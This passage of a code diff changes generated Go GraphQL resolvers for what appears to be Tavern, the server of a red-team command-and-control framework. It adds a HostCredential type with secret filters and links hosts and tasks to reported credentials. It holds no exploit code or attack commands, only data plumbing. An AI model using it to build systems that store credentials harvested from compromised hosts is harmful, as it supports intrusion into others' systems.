+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretGT"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Hash = data
-		case "hashNEQ":
+			it.SecretGT = data
+		case "secretGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashNEQ"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretGTE"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashNEQ = data
-		case "hashIn":
-			var err error
-
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
-			if err != nil {
-				return it, err
-			}
-			it.HashIn = data
-		case "hashNotIn":
-			var err error
-
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashNotIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
-			if err != nil {
-				return it, err
-			}
-			it.HashNotIn = data
-		case "hashGT":
+			it.SecretGTE = data
+		case "secretLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashGT"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretLT"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashGT = data
-		case "hashGTE":
+			it.SecretLT = data
+		case "secretLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashGTE"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretLTE"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashGTE = data
-		case "hashLT":
+			it.SecretLTE = data
+		case "secretContains":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashLT"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretContains"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashLT = data
-		case "hashLTE":
+			it.SecretContains = data
+		case "secretHasPrefix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashLTE"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretHasPrefix"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashLTE = data
-		case "hashContains":
+			it.SecretHasPrefix = data
+		case "secretHasSuffix":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashContains"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretHasSuffix"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashContains = data
-		case "hashHasPrefix":
+			it.SecretHasSuffix = data
+		case "secretEqualFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashHasPrefix"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretEqualFold"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashHasPrefix = data
-		case "hashHasSuffix":
+			it.SecretEqualFold = data
+		case "secretContainsFold":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashHasSuffix"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("secretContainsFold"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashHasSuffix = data
-		case "hashEqualFold":
+			it.SecretContainsFold = data
+		case "hasHost":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashEqualFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHost"))
+			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashEqualFold = data
-		case "hashContainsFold":
+			it.HasHost = data
+		case "hasHostWith":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashContainsFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHostWith"))
+			data, err := ec.unmarshalOHostWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HashContainsFold = data
-		case "hasTomes":
+			it.HasHostWith = data
+		case "hasTask":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomes"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTask"))
 			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HasTomes = data
-		case "hasTomesWith":
+			it.HasTask = data
+		case "hasTaskWith":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomesWith"))
-			data, err := ec.unmarshalOTomeWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeWhereInputᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTaskWith"))
+			data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.HasTomesWith = data
+			it.HasTaskWith = data
 		}
 	}
 
@@ -9212,7 +10287,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("size"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -9221,7 +10296,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNEQ"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -9230,7 +10305,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeIn"))
-			data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v)
+			data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -9239,7 +10314,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNotIn"))
-			data, err := ec.unmarshalOInt2ᚕintᚄ(ctx, v)
+			data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -9248,7 +10323,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGT"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -9257,7 +10332,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGTE"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -9266,7 +10341,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLT"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -9275,7 +10350,7 @@ func (ec *executionContext) unmarshalInputHostFileWhereInput(ctx context.Context
 			var err error
 
 			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLTE"))
-			data, err := ec.unmarshalOInt2ᚖint(ctx, v)
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
@@ -10801,7 +11876,7 @@ func (ec *executionContext) unmarshalInputHostWhereInput(ctx context.Context, ob
 		asMap[k] = v
 	}
 
-	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "identifier", "identifierNEQ", "identifierIn", "identifierNotIn", "identifierGT", "identifierGTE", "identifierLT", "identifierLTE", "identifierContains", "identifierHasPrefix", "identifierHasSuffix", "identifierEqualFold", "identifierContainsFold", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameIsNil", "nameNotNil", "nameEqualFold", "nameContainsFold", "primaryIP", "primaryIPNEQ", "primaryIPIn", "primaryIPNotIn", "primaryIPGT", "primaryIPGTE", "primaryIPLT", "primaryIPLTE", "primaryIPContains", "primaryIPHasPrefix", "primaryIPHasSuffix", "primaryIPIsNil", "primaryIPNotNil", "primaryIPEqualFold", "primaryIPContainsFold", "platform", "platformNEQ", "platformIn", "platformNotIn", "lastSeenAt", "lastSeenAtNEQ", "lastSeenAtIn", "lastSeenAtNotIn", "lastSeenAtGT", "lastSeenAtGTE", "lastSeenAtLT", "lastSeenAtLTE", "lastSeenAtIsNil", "lastSeenAtNotNil", "hasTags", "hasTagsWith", "hasBeacons", "hasBeaconsWith", "hasFiles", "hasFilesWith", "hasProcesses", "hasProcessesWith"}
+	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "identifier", "identifierNEQ", "identifierIn", "identifierNotIn", "identifierGT", "identifierGTE", "identifierLT", "identifierLTE", "identifierContains", "identifierHasPrefix", "identifierHasSuffix", "identifierEqualFold", "identifierContainsFold", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameIsNil", "nameNotNil", "nameEqualFold", "nameContainsFold", "primaryIP", "primaryIPNEQ", "primaryIPIn", "primaryIPNotIn", "primaryIPGT", "primaryIPGTE", "primaryIPLT", "primaryIPLTE", "primaryIPContains", "primaryIPHasPrefix", "primaryIPHasSuffix", "primaryIPIsNil", "primaryIPNotNil", "primaryIPEqualFold", "primaryIPContainsFold", "platform", "platformNEQ", "platformIn", "platformNotIn", "lastSeenAt", "lastSeenAtNEQ", "lastSeenAtIn", "lastSeenAtNotIn", "lastSeenAtGT", "lastSeenAtGTE", "lastSeenAtLT", "lastSeenAtLTE", "lastSeenAtIsNil", "lastSeenAtNotNil", "hasTags", "hasTagsWith", "hasBeacons", "hasBeaconsWith", "hasFiles", "hasFilesWith", "hasProcesses", "hasProcessesWith", "hasCredentials", "hasCredentialsWith"}
 	for _, k := range fieldsInOrder {
 		v, ok := asMap[k]
 		if !ok {
@@ -11636,6 +12711,24 @@ func (ec *executionContext) unmarshalInputHostWhereInput(ctx context.Context, ob
 				return it, err
 			}
 			it.HasProcessesWith = data
+		case "hasCredentials":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCredentials"))
+			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.HasCredentials = data
+		case "hasCredentialsWith":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCredentialsWith"))
+			data, err := ec.unmarshalOHostCredentialWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInputᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.HasCredentialsWith = data
 		}
 	}
 
@@ -12652,7 +13745,7 @@ func (ec *executionContext) unmarshalInputTaskWhereInput(ctx context.Context, ob
 		asMap[k] = v
 	}
 
-	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "claimedAt", "claimedAtNEQ", "claimedAtIn", "claimedAtNotIn", "claimedAtGT", "claimedAtGTE", "claimedAtLT", "claimedAtLTE", "claimedAtIsNil", "claimedAtNotNil", "execStartedAt", "execStartedAtNEQ", "execStartedAtIn", "execStartedAtNotIn", "execStartedAtGT", "execStartedAtGTE", "execStartedAtLT", "execStartedAtLTE", "execStartedAtIsNil", "execStartedAtNotNil", "execFinishedAt", "execFinishedAtNEQ", "execFinishedAtIn", "execFinishedAtNotIn", "execFinishedAtGT", "execFinishedAtGTE", "execFinishedAtLT", "execFinishedAtLTE", "execFinishedAtIsNil", "execFinishedAtNotNil", "output", "outputNEQ", "outputIn", "outputNotIn", "outputGT", "outputGTE", "outputLT", "outputLTE", "outputContains", "outputHasPrefix", "outputHasSuffix", "outputIsNil", "outputNotNil", "outputEqualFold", "outputContainsFold", "outputSize", "outputSizeNEQ", "outputSizeIn", "outputSizeNotIn", "outputSizeGT", "outputSizeGTE", "outputSizeLT", "outputSizeLTE", "error", "errorNEQ", "errorIn", "errorNotIn", "errorGT", "errorGTE", "errorLT", "errorLTE", "errorContains", "errorHasPrefix", "errorHasSuffix", "errorIsNil", "errorNotNil", "errorEqualFold", "errorContainsFold", "hasQuest", "hasQuestWith", "hasBeacon", "hasBeaconWith", "hasReportedFiles", "hasReportedFilesWith", "hasReportedProcesses", "hasReportedProcessesWith"}
+	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "claimedAt", "claimedAtNEQ", "claimedAtIn", "claimedAtNotIn", "claimedAtGT", "claimedAtGTE", "claimedAtLT", "claimedAtLTE", "claimedAtIsNil", "claimedAtNotNil", "execStartedAt", "execStartedAtNEQ", "execStartedAtIn", "execStartedAtNotIn", "execStartedAtGT", "execStartedAtGTE", "execStartedAtLT", "execStartedAtLTE", "execStartedAtIsNil", "execStartedAtNotNil", "execFinishedAt", "execFinishedAtNEQ", "execFinishedAtIn", "execFinishedAtNotIn", "execFinishedAtGT", "execFinishedAtGTE", "execFinishedAtLT", "execFinishedAtLTE", "execFinishedAtIsNil", "execFinishedAtNotNil", "output", "outputNEQ", "outputIn", "outputNotIn", "outputGT", "outputGTE", "outputLT", "outputLTE", "outputContains", "outputHasPrefix", "outputHasSuffix", "outputIsNil", "outputNotNil", "outputEqualFold", "outputContainsFold", "outputSize", "outputSizeNEQ", "outputSizeIn", "outputSizeNotIn", "outputSizeGT", "outputSizeGTE", "outputSizeLT", "outputSizeLTE", "error", "errorNEQ", "errorIn", "errorNotIn", "errorGT", "errorGTE", "errorLT", "errorLTE", "errorContains", "errorHasPrefix", "errorHasSuffix", "errorIsNil", "errorNotNil", "errorEqualFold", "errorContainsFold", "hasQuest", "hasQuestWith", "hasBeacon", "hasBeaconWith", "hasReportedFiles", "hasReportedFilesWith", "hasReportedProcesses", "hasReportedProcessesWith", "hasReportedCredentials", "hasReportedCredentialsWith"}
 	for _, k := range fieldsInOrder {
 		v, ok := asMap[k]
 		if !ok {
@@ -13586,6 +14679,24 @@ func (ec *executionContext) unmarshalInputTaskWhereInput(ctx context.Context, ob
 				return it, err
 			}
 			it.HasReportedProcessesWith = data
+		case "hasReportedCredentials":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasReportedCredentials"))
+			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.HasReportedCredentials = data
+		case "hasReportedCredentialsWith":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasReportedCredentialsWith"))
+			data, err := ec.unmarshalOHostCredentialWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialWhereInputᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.HasReportedCredentialsWith = data
 		}
 	}
 
@@ -14653,7 +15764,7 @@ func (ec *executionContext) unmarshalInputUpdateHostInput(ctx context.Context, o
 		asMap[k] = v
 	}
 
-	fieldsInOrder := [...]string{"lastModifiedAt", "name", "clearName", "addTagIDs", "removeTagIDs", "clearTags", "addBeaconIDs", "removeBeaconIDs", "clearBeacons", "addFileIDs", "removeFileIDs", "clearFiles", "addProcessIDs", "removeProcessIDs", "clearProcesses"}
+	fieldsInOrder := [...]string{"lastModifiedAt", "name", "clearName", "addTagIDs", "removeTagIDs", "clearTags", "addBeaconIDs", "removeBeaconIDs", "clearBeacons", "addFileIDs", "removeFileIDs", "clearFiles", "addProcessIDs", "removeProcessIDs", "clearProcesses", "addCredentialIDs", "removeCredentialIDs", "clearCredentials"}
 	for _, k := range fieldsInOrder {
 		v, ok := asMap[k]
 		if !ok {
@@ -14795,6 +15906,33 @@ func (ec *executionContext) unmarshalInputUpdateHostInput(ctx context.Context, o
 				return it, err
 			}
 			it.ClearProcesses = data
+		case "addCredentialIDs":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("addCredentialIDs"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.AddCredentialIDs = data
+		case "removeCredentialIDs":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("removeCredentialIDs"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.RemoveCredentialIDs = data
+		case "clearCredentials":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("clearCredentials"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.ClearCredentials = data
 		}
 	}
 
@@ -15507,6 +16645,11 @@ func (ec *executionContext) _Node(ctx context.Context, sel ast.SelectionSet, obj
 			return graphql.Null
 		}
 		return ec._Host(ctx, sel, obj)
+	case *ent.HostCredential:
+		if obj == nil {
+			return graphql.Null
+		}
+		return ec._HostCredential(ctx, sel, obj)
 	case *ent.HostFile:
 		if obj == nil {
 			return graphql.Null
@@ -15761,72 +16904,171 @@ func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj
 			}
 
 			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
-		default:
-			panic("unknown field " + strconv.Quote(field.Name))
-		}
-	}
-	out.Dispatch(ctx)
-	if out.Invalids > 0 {
-		return graphql.Null
-	}
-
-	atomic.AddInt32(&ec.deferred, int32(len(deferred)))
-
-	for label, dfs := range deferred {
-		ec.processDeferredGroup(graphql.DeferredGroup{
-			Label:    label,
-			Path:     graphql.GetPath(ctx),
-			FieldSet: dfs,
-			Context:  ctx,
-		})
-	}
-
-	return out
-}
-
-var hostImplementors = []string{"Host", "Node"}
-
-func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj *ent.Host) graphql.Marshaler {
-	fields := graphql.CollectFields(ec.OperationContext, sel, hostImplementors)
-
-	out := graphql.NewFieldSet(fields)
-	deferred := make(map[string]*graphql.FieldSet)
-	for i, field := range fields {
-		switch field.Name {
-		case "__typename":
-			out.Values[i] = graphql.MarshalString("Host")
-		case "id":
-			out.Values[i] = ec._Host_id(ctx, field, obj)
-			if out.Values[i] == graphql.Null {
-				atomic.AddUint32(&out.Invalids, 1)
-			}
-		case "createdAt":
-			out.Values[i] = ec._Host_createdAt(ctx, field, obj)
-			if out.Values[i] == graphql.Null {
-				atomic.AddUint32(&out.Invalids, 1)
-			}
-		case "lastModifiedAt":
-			out.Values[i] = ec._Host_lastModifiedAt(ctx, field, obj)
-			if out.Values[i] == graphql.Null {
-				atomic.AddUint32(&out.Invalids, 1)
-			}
-		case "identifier":
-			out.Values[i] = ec._Host_identifier(ctx, field, obj)
-			if out.Values[i] == graphql.Null {
-				atomic.AddUint32(&out.Invalids, 1)
-			}
-		case "name":
-			out.Values[i] = ec._Host_name(ctx, field, obj)
-		case "primaryIP":
-			out.Values[i] = ec._Host_primaryIP(ctx, field, obj)
-		case "platform":
-			out.Values[i] = ec._Host_platform(ctx, field, obj)
-			if out.Values[i] == graphql.Null {
-				atomic.AddUint32(&out.Invalids, 1)
-			}
-		case "lastSeenAt":
-			out.Values[i] = ec._Host_lastSeenAt(ctx, field, obj)
-		case "tags":
+		default:
+			panic("unknown field " + strconv.Quote(field.Name))
+		}
+	}
+	out.Dispatch(ctx)
+	if out.Invalids > 0 {
+		return graphql.Null
+	}
+
+	atomic.AddInt32(&ec.deferred, int32(len(deferred)))
+
+	for label, dfs := range deferred {
+		ec.processDeferredGroup(graphql.DeferredGroup{
+			Label:    label,
+			Path:     graphql.GetPath(ctx),
+			FieldSet: dfs,
+			Context:  ctx,
+		})
+	}
+
+	return out
+}
+
+var hostImplementors = []string{"Host", "Node"}
+
+func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj *ent.Host) graphql.Marshaler {
+	fields := graphql.CollectFields(ec.OperationContext, sel, hostImplementors)
+
+	out := graphql.NewFieldSet(fields)
+	deferred := make(map[string]*graphql.FieldSet)
+	for i, field := range fields {
+		switch field.Name {
+		case "__typename":
+			out.Values[i] = graphql.MarshalString("Host")
+		case "id":
+			out.Values[i] = ec._Host_id(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "createdAt":
+			out.Values[i] = ec._Host_createdAt(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "lastModifiedAt":
+			out.Values[i] = ec._Host_lastModifiedAt(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "identifier":
+			out.Values[i] = ec._Host_identifier(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "name":
+			out.Values[i] = ec._Host_name(ctx, field, obj)
+		case "primaryIP":
+			out.Values[i] = ec._Host_primaryIP(ctx, field, obj)
+		case "platform":
+			out.Values[i] = ec._Host_platform(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "lastSeenAt":
+			out.Values[i] = ec._Host_lastSeenAt(ctx, field, obj)
+		case "tags":
+			field := field
+
+			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
+				defer func() {
+					if r := recover(); r != nil {
+						ec.Error(ctx, ec.Recover(ctx, r))
+					}
+				}()
+				res = ec._Host_tags(ctx, field, obj)
+				return res
+			}
+
+			if field.Deferrable != nil {
+				dfs, ok := deferred[field.Deferrable.Label]
+				di := 0
+				if ok {
+					dfs.AddField(field)
+					di = len(dfs.Values) - 1
+				} else {
+					dfs = graphql.NewFieldSet([]graphql.CollectedField{field})
+					deferred[field.Deferrable.Label] = dfs
+				}
+				dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler {
+					return innerFunc(ctx, dfs)
+				})
+
+				// don't run the out.Concurrently() call below
+				out.Values[i] = graphql.Null
+				continue
+			}
+
+			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
+		case "beacons":
+			field := field
+
+			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
+				defer func() {
+					if r := recover(); r != nil {
+						ec.Error(ctx, ec.Recover(ctx, r))
+					}
+				}()
+				res = ec._Host_beacons(ctx, field, obj)
+				return res
+			}
+
+			if field.Deferrable != nil {
+				dfs, ok := deferred[field.Deferrable.Label]
+				di := 0
+				if ok {
+					dfs.AddField(field)
+					di = len(dfs.Values) - 1
+				} else {
+					dfs = graphql.NewFieldSet([]graphql.CollectedField{field})
+					deferred[field.Deferrable.Label] = dfs
+				}
+				dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler {
+					return innerFunc(ctx, dfs)
+				})
+
+				// don't run the out.Concurrently() call below
+				out.Values[i] = graphql.Null
+				continue
+			}
+
+			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
+		case "files":
+			field := field
+
+			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
+				defer func() {
+					if r := recover(); r != nil {
+						ec.Error(ctx, ec.Recover(ctx, r))
+					}
+				}()
+				res = ec._Host_files(ctx, field, obj)
+				return res
+			}
+
+			if field.Deferrable != nil {
+				dfs, ok := deferred[field.Deferrable.Label]
+				di := 0
+				if ok {
+					dfs.AddField(field)
+					di = len(dfs.Values) - 1
+				} else {
+					dfs = graphql.NewFieldSet([]graphql.CollectedField{field})
+					deferred[field.Deferrable.Label] = dfs
+				}
+				dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler {
+					return innerFunc(ctx, dfs)
+				})
+
+				// don't run the out.Concurrently() call below
+				out.Values[i] = graphql.Null
+				continue
+			}
+
+			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
+		case "processes":
 			field := field
 
 			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
@@ -15835,7 +17077,7 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj
 						ec.Error(ctx, ec.Recover(ctx, r))
 					}
 				}()
-				res = ec._Host_tags(ctx, field, obj)
+				res = ec._Host_processes(ctx, field, obj)
 				return res
 			}
 
@@ -15859,7 +17101,7 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj
 			}
 
 			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
-		case "beacons":
+		case "credentials":
 			field := field
 
 			innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) {
@@ -15868,7 +17110,7 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj
 						ec.Error(ctx, ec.Recover(ctx, r))
 					}
 				}()
-				res = ec._Host_beacons(ctx, field, obj)
+				res = ec._Host_credentials(ctx, field, obj)
 				return res
 			}
 
@@ -15892,7 +17134,66 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj
 			}
 
 			out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) })
-		case "files":
+		default:
+			panic("unknown field " + strconv.Quote(field.Name))
+		}
+	}
+	out.Dispatch(ctx)
+	if out.Invalids > 0 {
+		return graphql.Null
+	}
+
+	atomic.AddInt32(&ec.deferred, int32(len(deferred)))
+
+	for label, dfs := range deferred {
+		ec.processDeferredGroup(graphql.DeferredGroup{
+			Label:    label,
+			Path:     graphql.GetPath(ctx),
+			FieldSet: dfs,
+			Context:  ctx,
+		})
+	}
+
+	return out
+}
+
+var hostCredentialImplementors = []string{"HostCredential", "Node"}
+
+func (ec *executionContext) _HostCredential(ctx context.Context, sel ast.SelectionSet, obj *ent.HostCredential) graphql.Marshaler {
+	fields := graphql.CollectFields(ec.OperationContext, sel, hostCredentialImplementors)
+
+	out := graphql.NewFieldSet(fields)
+	deferred := make(map[string]*graphql.FieldSet)
+	for i, field := range fields {
+		switch field.Name {
+		case "__typename":
+			out.Values[i] = graphql.MarshalString("HostCredential")
+		case "id":
+			out.Values[i] = ec._HostCredential_id(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "createdAt":
+			out.Values[i] = ec._HostCredential_createdAt(ctx, field, obj)
+			if out.Values[i] == graphql.Null {
+				atomic.AddUint32(&out.Invalids, 1)
+			}
+		case "lastModifiedAt":
+			out.Values[i] = ec._HostCredential_lastModifiedAt(ctx, field, obj)
